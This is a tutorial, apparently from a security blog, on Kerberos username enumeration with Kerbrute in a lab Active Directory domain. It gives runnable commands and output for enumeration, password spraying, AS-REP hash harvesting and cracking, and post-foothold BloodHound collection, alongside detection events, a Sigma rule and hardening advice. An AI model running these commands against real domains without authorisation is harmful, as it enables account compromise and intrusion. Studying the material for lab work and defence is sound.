Username Enumeration and Validation with Kerbrute: Abusing Kerberos Pre-Authentication
You have network access to a target subnet and a domain controller answering on port 88. No credentials. No foothold. Before you touch a single password, you need a list of accounts that actually exist, because spraying a wordlist of 50,000 invented usernames is loud, slow, and pointless. Kerberos hands you that list for free. The protocol that was designed to keep passwords off the wire will happily tell an unauthenticated stranger exactly which accounts are real, and it does so without ever touching the lockout counter.
Objective: Understand how the Kerberos AS-REQ exchange leaks valid account existence through differential KDC error codes, how Kerbrute weaponizes that oracle to enumerate usernames and harvest AS-REP hashes without domain credentials, how to pivot from a confirmed username list into credential access, and how a defender detects every step on the domain controller.
Contents
- 1 1. Kerberos Authentication Primer
- 2 2. The Enumeration Oracle: KDC Error Code Differentials
- 3 3. Lab Environment Setup
- 4 4. Kerbrute: Installation, Architecture, and Modes
- 5 5. Hands-On: Username Enumeration
- 6 6. Hands-On: Password Spraying
- 7 7. Captured Hash Cracking: The AS-REP Roasting Pivot
- 8 8. Traffic Analysis
- 9 9. Common Attacker Techniques
- 10 10. Defensive Strategies and Detection
- 11 11. Tools for Kerberos Attack Analysis
- 12 12. MITRE ATT&CK Mapping
- 13 Summary
- 14 Related Tutorials
- 15 References
1. Kerberos Authentication Primer
Kerberos is the default authentication protocol in Active Directory, and to abuse it you have to understand what each message is for. Three logical components live inside the Key Distribution Center (KDC), which runs on every domain controller:
| Component | Role |
|---|---|
| Authentication Service (AS) | Issues the initial Ticket Granting Ticket (TGT) after the client proves it knows its key |
| Ticket Granting Service (TGS) | Exchanges a valid TGT for service tickets to specific resources |
| KDC database | The AD database (ntds.dit) holding every account’s long-term key derived from its password |
The full ticket flow is four messages:
- AS-REQ – client asks the AS for a TGT.
- AS-REP – AS returns the TGT (encrypted with the
krbtgtkey) plus a session key (encrypted with the client’s key). - TGS-REQ – client presents the TGT and asks for a service ticket to a named Service Principal Name (SPN).
- TGS-REP – TGS returns the service ticket, encrypted with the target service account’s key.
The piece that matters for enumeration is pre-authentication, which lives inside the AS-REQ. Without it, anyone could send an AS-REQ for any username and receive an AS-REP containing material encrypted with that user’s password-derived key, then crack it offline at leisure. To stop that, Kerberos v5 requires the client to prove it knows the password before the KDC issues anything.
The proof is a timestamp: the client takes the current time, encrypts it with its secret key (the key derived from the user password using DES, RC4/arcfour-hmac-md5, AES128, or AES256), and ships that PA-ENC-TIMESTAMP blob inside the AS-REQ alongside the username. The KDC decrypts it with the stored key for that account. If the plaintext is a sane timestamp, the password is correct and a TGT is issued. If decryption fails, pre-auth failed.
This single design decision is the source of everything that follows. The KDC must answer differently depending on whether the account exists, whether pre-auth was required, and whether the supplied key was correct. Those differences are an oracle.
Kerberos listens on port 88 over both UDP and TCP. A username validation costs a single UDP frame to the KDC, which is why this is so fast.
2. The Enumeration Oracle: KDC Error Code Differentials
Send an AS-REQ with no pre-auth data and a username, and the KDC’s reply tells you the account’s state with surgical precision. The error codes are defined in RFC 4120 and surface in Windows Event logs as hex values:
| KDC Error (RFC 4120 name) | Hex Code | What it tells the attacker |
|---|---|---|
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN | 0x6 | Username does not exist in the domain |
KRB5KDC_ERR_PREAUTH_REQUIRED | 0x19 | Username is valid, pre-authentication is required |
KDC_ERR_PREAUTH_FAILED | 0x18 | Valid user, wrong password supplied |
KDC_ERR_CLIENT_REVOKED | 0x12 | Account is disabled, locked, or expired |
KDC_ERR_KEY_EXPIRED | (key expired) | Valid user, password expired |
Walk through the logic an attacker exploits:
- Send an AS-REQ for
nonexistent_user. The KDC has no account record, so it returns0x6(PRINCIPAL_UNKNOWN). Cross that name off the list. - Send an AS-REQ for
jsmithwith no pre-auth blob. The account exists and requires pre-auth, so the KDC refuses to issue a ticket and returns0x19(PREAUTH_REQUIRED). That0x19is the confirmation: the account is real. You never had to know the password. - Send an AS-REQ for
svc_backup, an account where pre-auth is disabled. The KDC skips the timestamp check entirely and returns a full AS-REP containing an encrypted blob signed with the account’s key. That blob is crackable offline. This is the AS-REP roasting primitive falling straight into your lap.
The reason this is so attractive operationally: the AS-REQ enumeration method does not validate credentials, so it does not increment badPwdCount, which means it does not lock accounts. You can churn through hundreds of thousands of candidate names and never trip a single lockout. And because failed pre-auth here is a Kerberos event, not an NTLM logon, it does not generate the classic Event ID 4625 (“An account failed to log on”) that blue teams traditionally watch.
The differential between 0x6 and 0x19 is the whole game. One unauthenticated request per candidate name converts a wordlist into a validated account roster.

3. Lab Environment Setup
Build this in isolation. Three machines on a host-only 192.168.56.0/24 network so nothing leaks.
| Component | Spec |
|---|---|
| Domain Controller | Windows Server 2022 Evaluation, domain corplab.local, 192.168.56.10 (hostname DC01) |
| Workstation | Windows 10, domain-joined, 192.168.56.20 |
| Attacker | Kali Linux 2024+, 192.168.56.100 |
| Vulnerable accounts | svc_backup (pre-auth disabled), jsmith (password Summer2024!), plus noise accounts |
| Lockout policy | Threshold 5 attempts (so --safe actually matters) |
After promoting DC01 to a domain controller for corplab.local, create the intentionally weak accounts. Run this in an elevated PowerShell on the DC.
# Create a normal user with a weak, sprayable password
New-ADUser -Name "John Smith" -SamAccountName jsmith `
-UserPrincipalName jsmith@corplab.local `
-AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
-Enabled $true
# Create a service account and DISABLE Kerberos pre-authentication on it
New-ADUser -Name "svc_backup" -SamAccountName svc_backup `
-UserPrincipalName svc_backup@corplab.local `
-Path "OU=ServiceAccounts,DC=corplab,DC=local" `
-AccountPassword (ConvertTo-SecureString "Pa55w0rd!" -AsPlainText -Force) `
-Enabled $true
Set-ADAccountControl -Identity svc_backup -DoesNotRequirePreAuth $true
# Seed 10 noise accounts so enumeration has signal and noise
1..10 | ForEach-Object {
New-ADUser -Name "noise$_" -SamAccountName "noise$_" `
-AccountPassword (ConvertTo-SecureString "N0ise$_!extra" -AsPlainText -Force) `
-Enabled $true
}
# (no output on success; verify below)
PS C:\> Get-ADUser svc_backup -Properties DoesNotRequirePreAuth | `
Select Name, DoesNotRequirePreAuth
Name DoesNotRequirePreAuth
---- ---------------------
svc_backup True
Setting DoesNotRequirePreAuth $true flips the DONT_REQ_PREAUTH bit (0x400000) in the account’s userAccountControl attribute. That single bit is what turns svc_backup from a normal account into an AS-REP roasting target. Audit your domain for it any time:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select-Object SamAccountName, DoesNotRequirePreAuth
SamAccountName DoesNotRequirePreAuth
-------------- ---------------------
svc_backup True
Finally, set a lockout threshold so the password-spray section teaches real lockout awareness:
Set-ADDefaultDomainPasswordPolicy -Identity corplab.local `
-LockoutThreshold 5 -LockoutDuration 00:15:00 -LockoutObservationWindow 00:15:00
# (no output on success)
4. Kerbrute: Installation, Architecture, and Modes
Kerbrute is a Go tool written by Ronnie Flathers (@ropnop). It drives raw AS-REQ messages through the gokrb5 library, talking directly to the KDC on port 88 instead of routing username checks through slow SMB or LDAP. That direct path is what makes it fast and what keeps it off the NTLM logon-failure radar.
Grab a precompiled binary or build from source:
# Precompiled (fastest path)
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute
./kerbrute --version
Version: v1.0.3 (9cfb81e) - 06/30/24
# Or build from source if you want to read/modify it
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
make all
ls dist/
kerbrute_darwin_amd64 kerbrute_linux_386 kerbrute_windows_amd64.exe
kerbrute_linux_amd64 kerbrute_linux_arm64
Kerbrute exposes four sub-commands. Pick the one that matches your stage in the kill chain.
| Sub-command | Purpose | Touches lockout? |
|---|---|---|
userenum | Enumerate valid usernames via AS-REQ error differentials | No |
passwordspray | Test one password against many users | Yes |
bruteuser | Test a wordlist against one user | Yes |
bruteforce | Test user:password combos from a file or stdin | Yes |
Flags you will reach for repeatedly:
| Flag | Purpose |
|---|---|
--dc | Target KDC / domain controller IP |
-d / --domain | Full domain name (corplab.local) |
--hash-file | Save captured AS-REP hashes for pre-auth-disabled accounts |
--downgrade | Force RC4 (arcfour-hmac-md5) encryption downgrade |
--safe | Abort the run if any account is observed as locked |
-t | Thread count (default 10) |
-o | Write valid results to an output file |
One warning that is not optional. userenum is safe against lockout because it validates nothing. passwordspray, bruteuser, and bruteforce submit real pre-auth attempts. Failed pre-auth counts as a failed logon and will lock accounts once you cross the threshold. Treat the active modes as live ammunition.
5. Hands-On: Username Enumeration
Enumeration first: confirm the KDC
Before firing names at it, prove the target is a domain controller exposing Kerberos and learn the domain name from the LDAP banner.
nmap -sV -p 88,389,445 192.168.56.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.56.10
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-30 18:22:03Z)
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: corplab.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Port 88 open and labelled kerberos-sec, and the LDAP banner leaks Domain: corplab.local. That is everything Kerbrute needs: a --dc and a -d.
Build the candidate wordlist
A good enumeration run is only as good as the names you feed it. Start from SecLists, then layer in organization-specific naming conventions (firstname.lastname, finitial+lastname, and so on) gleaned from OSINT.
cp /usr/share/seclists/Usernames/Names/names.txt ~/lab/names.txt
wc -l ~/lab/names.txt
10177 /usr/share/seclists/Usernames/Names/names.txt
# Generate convention-based candidates: first.last and flast
python3 namegen.py --first first_names.txt --last last_names.txt \
--format '{first}.{last},{f}{last}' > ~/lab/corp_users.txt
wc -l ~/lab/corp_users.txt
1500 /usr/share/seclists/Usernames/Names/names.txt
Run userenum
./kerbrute userenum \
--dc 192.168.56.10 \
-d corplab.local \
-t 50 \
--hash-file asrep_hashes.txt \
-o valid_users.txt \
~/lab/corp_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9cfb81e) - 06/30/24 - Ronnie Flathers @ropnop
2024/06/30 14:22:01 > Using KDC(s):
2024/06/30 14:22:01 > 192.168.56.10:88
2024/06/30 14:22:01 > [+] svc_backup has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8
2024/06/30 14:22:01 > [+] VALID USERNAME: svc_backup@corplab.local
2024/06/30 14:22:01 > [+] VALID USERNAME: jsmith@corplab.local
2024/06/30 14:22:05 > Done! Tested 1500 usernames (2 valid) in 3.521 seconds
Read that output carefully because it contains two distinct wins.
jsmith came back as a plain VALID USERNAME. Behind the scenes Kerbrute sent an AS-REQ, the KDC replied with 0x19 (PREAUTH_REQUIRED), and Kerbrute translated that into “this account exists.” That goes into valid_users.txt for the spray phase.
svc_backup did something more interesting. The KDC returned a full AS-REP instead of a pre-auth error, because the DONT_REQ_PREAUTH bit is set. Kerbrute recognized the account requires no pre-auth, extracted the encrypted blob, and dumped it as a $krb5asrep$23$ hash to asrep_hashes.txt. You enumerated a username and harvested a crackable credential in the same packet exchange.
Check the artifacts:
cat valid_users.txt && echo "---" && cat asrep_hashes.txt
svc_backup@corplab.local
jsmith@corplab.local
---
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8
The 23 in the hash is the encryption type: RC4-HMAC (etype 23). That maps directly to a hashcat mode, which we get to shortly.

6. Hands-On: Password Spraying
Enumeration first: know the lockout policy
Spraying blind into an unknown lockout policy is how red teams get fired. Before you submit a single real pre-auth attempt, learn the threshold. With no credentials you can sometimes read the policy via null/guest SMB; in this lab assume you confirmed a threshold of 5.
The math is simple and unforgiving. With a threshold of 5 and a 15-minute observation window, you get at most a handful of attempts per account before lockout. One password tested across the whole user list is one failed attempt per account, which is safe. Two passwords in quick succession is two. Never let your spray cadence approach the threshold inside the observation window.
Run passwordspray with a safety net
Use only the confirmed usernames from valid_users.txt, not the raw wordlist, and add --safe so the run aborts the instant any account is observed locked.
./kerbrute passwordspray \
--dc 192.168.56.10 \
-d corplab.local \
--safe \
valid_users.txt \
'Summer2024!'
2024/06/30 14:30:01 > Using KDC(s):
2024/06/30 14:30:01 > 192.168.56.10:88
2024/06/30 14:30:01 > [+] VALID LOGIN: jsmith@corplab.local:Summer2024!
2024/06/30 14:30:03 > Done! Tested 2 logins (1 successes) in 1.992 seconds
jsmith:Summer2024! is now a confirmed credential. Here the spray submitted a real PA-ENC-TIMESTAMP. For jsmith the KDC decrypted it successfully and issued a TGT, which Kerbrute reports as VALID LOGIN. For svc_backup the wrong password would have produced 0x18 (PREAUTH_FAILED) and incremented badPwdCount. That distinction is exactly what a defender hunts for, and we will weaponize it in detection.
7. Captured Hash Cracking: The AS-REP Roasting Pivot
The svc_backup hash from section 5 needs no spraying. It is an AS-REP blob encrypted with the account’s RC4 key, and you crack it offline with zero further interaction with the domain. This is AS-REP roasting, and DONT_REQ_PREAUTH is the precondition that made it possible.
Inspect the captured hash format first:
head -c 120 asrep_hashes.txt; echo
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...
The $krb5asrep$23$ prefix is hashcat mode 18200 (Kerberos 5 AS-REP, etype 23). Throw a wordlist at it.
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8:Pa55w0rd!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9...c4d8
Time.Started.....: Sun Jun 30 14:35:12 2024 (4 secs)
Recovered........: 1/1 (100.00%) Digests
Speed.#1.........: 1843.2 MH/s (5.21ms)
John the Ripper works equally well:
john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD5 HMAC-SHA1 ...])
Pa55w0rd! ($krb5asrep$svc_backup@CORPLAB.LOCAL)
1g 0:00:00:02 DONE (2024-06-30 14:36) 0.4761g/s ...
Use the "--show" option to display all of the cracked passwords reliably
svc_backup:Pa55w0rd! recovered. The lesson the brief hammers, and the reason hardening matters: if svc_backup had used a genuinely strong password, this RC4 blob would be effectively uncrackable by wordlist. Disabling pre-auth is dangerous, but a long random password makes the resulting hash worthless to an attacker.
Validate and pivot
Confirm the harvested credential works over SMB before building anything on it. NetExec (the maintained successor to CrackMapExec) is the cleanest check.
nxc smb 192.168.56.10 -u jsmith -p 'Summer2024!' -d corplab.local
SMB 192.168.56.10 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corplab.local) (signing:True) (SMBv1:False)
SMB 192.168.56.10 445 DC01 [+] corplab.local\jsmith:Summer2024!
The [+] confirms a valid authenticated session. Now you have an authenticated foothold, which unlocks full directory enumeration. Feed it straight into BloodHound to map attack paths.
bloodhound-python -u jsmith -p 'Summer2024!' -d corplab.local \
-dc 192.168.56.10 -c All
INFO: Found AD domain: corplab.local
INFO: Connecting to LDAP server: DC01.corplab.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 14 computers
INFO: Connecting to GC LDAP server: DC01.corplab.local
INFO: Found 28 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Dumping data for domain corplab.local
INFO: Done in 00M 12S
You walked from zero credentials to a validated account, a cracked service hash, and a full graph of the domain. That is the entire point of starting with enumeration: every confirmed username compounds.

8. Traffic Analysis
Understanding what Kerbrute puts on the wire makes both red-team OPSEC and blue-team detection concrete. Capture port 88 while a userenum run is live.
sudo tcpdump -i eth0 -w kerb_enum.pcap 'udp port 88 or tcp port 88'
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C
2143 packets captured
2151 packets received by filter
Open the capture in Wireshark and isolate the KDC error responses. A Kerberos error message is msg_type 30 (KRB-ERROR), and the error_code field is the oracle.
# Wireshark display filter: all PRINCIPAL_UNKNOWN responses (invalid users)
kerberos.msg_type == 30 && kerberos.error_code == 6
A burst of error_code == 6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP, hundreds per second, is the unmistakable signature of username enumeration. Switch the filter to spot the valid hits:
# Valid accounts that required pre-auth (the 0x19 responses)
kerberos.msg_type == 30 && kerberos.error_code == 25
# Pre-auth-disabled accounts: a full AS-REP instead of an error
kerberos.msg_type == 11
msg_type 11 is AS-REP. Seeing a real AS-REP returned to an unauthenticated requester means an account with pre-auth disabled just leaked a roastable hash. On a Zeek sensor the same signal lives in kerberos.log, where error_msg == "PRINCIPAL_UNKNOWN" at high rate from one id.orig_h is the detection trigger.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| AS-REQ username enumeration | Differentiate 0x6 vs 0x19 to validate accounts with no credentials and no lockout risk |
| AS-REP hash harvesting | Capture full AS-REP for DONT_REQ_PREAUTH accounts during enumeration, crack offline |
| AS-REP roasting | Use harvested $krb5asrep$23$ hashes with hashcat mode 18200 or John |
| Kerberos password spraying | Submit one common password across the confirmed user list via passwordspray |
| Encryption downgrade | Force RC4 with --downgrade so captured material uses the faster-cracking etype 23 |
| Pivot to Kerberoasting | Once authenticated, request service tickets for SPN accounts and crack those offline |
The chain is what makes this dangerous, not any single step. Enumeration feeds spraying and roasting, which feed an authenticated foothold, which feeds BloodHound and Kerberoasting. Each link is cheap and quiet on its own.
10. Defensive Strategies and Detection
Detection here is entirely about the domain controller, because the attack never touches an endpoint until the pivot. The good news is the DC sees every AS-REQ. The catch is that the most useful event is off by default.
Relevant Event IDs (on the Domain Controller)
| Event ID | Trigger | Relevance |
|---|---|---|
4768 | TGT requested or granted (AS exchange) | Fires on AS-REQ; watch a single source requesting TGTs for many distinct or non-existent users |
4771 | Kerberos pre-authentication failed | Carries the failure code, target username, client IP; the primary enumeration and spray signal |
4625 | Generic NTLM logon failure | Does not fire for Kerberos enumeration; do not rely on it here |
Event 4771 is disabled by default. Without it you are blind to the enumeration. Enable it through Group Policy:
Computer Configuration
-> Windows Settings
-> Security Settings
-> Advanced Audit Policy Configuration
-> Account Logon
-> Audit Kerberos Authentication Service: Success and Failure
Failure-code correlation
The Failure Code field in Event 4771 is the same oracle the attacker reads, only from the defender’s side:
- A cluster of
0x6(KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP in a short window is username enumeration. Real users do not generatePRINCIPAL_UNKNOWNstorms. - A cluster of
0x18(KDC_ERR_PREAUTH_FAILED) across many distinctTargetUserNamevalues from one source is password spraying.
Sigma rule
title: Kerberos Username Enumeration via AS-REQ
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4771
FailureCode: '0x6' # KDC_ERR_C_PRINCIPAL_UNKNOWN
timeframe: 30s
condition: selection | count() by IpAddress > 20
fields:
- EventID
- TargetUserName
- IpAddress
- IpPort
- FailureCode
- PreAuthType
falsepositives:
- Misconfigured applications cycling usernames
level: medium
tags:
- attack.discovery
- attack.t1087.002
Pair it with a second rule keyed on FailureCode: '0x18' grouped by distinct TargetUserName per source IP to catch the spray phase.
Endpoint and network telemetry
There is no direct Kerberos AS-REQ event in Sysmon because the protocol is network-level. You can still catch the tool with Sysmon Event ID 3 (Network Connection) when a non-DC host opens connections to port 88 from an unexpected process. On the network side, a Zeek sensor alerting on kerberos.log where error_msg == "PRINCIPAL_UNKNOWN" exceeds a per-source rate threshold gives you protocol-level coverage independent of Windows auditing. The underlying ETW provider for 4768/4771 is Microsoft-Windows-Security-Auditing.
Hardening
| Mitigation | Description |
|---|---|
| Enable pre-auth everywhere | Clear DONT_REQ_PREAUTH on all accounts; audit with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
| Enable Kerberos auditing | Turn on Audit Kerberos Authentication Service (Success + Failure) to generate 4771 |
| Rate-limit port 88 | Segment and rate-limit KDC ports (around 10 requests/sec/source) at the firewall |
| Deploy canary accounts | Any AS-REQ for a never-used honeypot username is a high-fidelity alert |
| Enforce strong passwords | Long random passwords make harvested AS-REP and Kerberoast hashes practically uncrackable |
| SIEM correlation | Alert on >20 0x6 failures per source in 30s, and on 0x18 across many users per source |
The single most important fix is closing the DONT_REQ_PREAUTH gap, because that is what converts harmless enumeration into a crackable credential. Pre-auth has been the default since Kerberos v5; any account missing it is a deliberate or accidental misconfiguration.

11. Tools for Kerberos Attack Analysis
| Tool | Description | Link |
|---|---|---|
| Kerbrute | AS-REQ username enumeration, spray, brute via gokrb5 | github.com/ropnop/kerbrute |
| NetExec | Validate credentials and enumerate SMB/LDAP | github.com/Pennyw0rth/NetExec |
| Hashcat | Crack AS-REP hashes with mode 18200 | hashcat.net |
| John the Ripper | Crack krb5asrep hashes | openwall.com/john |
| BloodHound | Map AD attack paths post-foothold | bloodhound.specterops.io |
| Wireshark | Dissect AS-REQ/AS-REP and KDC error codes | wireshark.org |
| Zeek | Network-level Kerberos logging (kerberos.log) | zeek.org |
| nmap | Confirm KDC, port 88, domain banner | nmap.org |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Account Discovery: Domain Account | T1087.002 | Event 4771 0x6 clusters per source IP; Zeek PRINCIPAL_UNKNOWN rate |
| Brute Force: Password Spraying | T1110.003 | Event 4771 0x18 across many users from one source |
| Brute Force: Password Guessing | T1110.001 | Repeated 0x18 against a single account; rising badPwdCount |
| Steal or Forge Kerberos Tickets: AS-REP Roasting | T1558.004 | AS-REP (msg_type 11) returned to unauthenticated client; audit DONT_REQ_PREAUTH |
| Steal or Forge Kerberos Tickets: Kerberoasting | T1558.003 | Spike in 4769 TGS requests for RC4 service tickets post-foothold |
Summary
- Kerberos pre-authentication is an account-existence oracle: the KDC answers
0x6for unknown users and0x19for valid ones, so anyone who can reach port 88 can enumerate the domain with no credentials. userenumdoes not validate credentials, so it never incrementsbadPwdCountand never locks accounts, and it bypasses Event4625entirely.- Accounts with the
DONT_REQ_PREAUTHbit (0x400000) return a full AS-REP during enumeration, handing the attacker a$krb5asrep$23$hash to crack offline with hashcat mode18200. - The active modes (
passwordspray,bruteuser,bruteforce) submit real pre-auth attempts and will lock accounts; use--safeand respect the lockout threshold. - Detect it on the DC with Event
4771(enable it first via Advanced Audit Policy), correlating0x6bursts for enumeration and0x18spreads for spraying, and shut the door by clearingDONT_REQ_PREAUTHand enforcing strong passwords.
Related Tutorials
References
- github.com
- labs.lares.com
- www.thehacker.recipes
- www.prosec-networks.com
- learn.microsoft.com
- kerbrute.com
- medium.com
- thecyphere.com
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.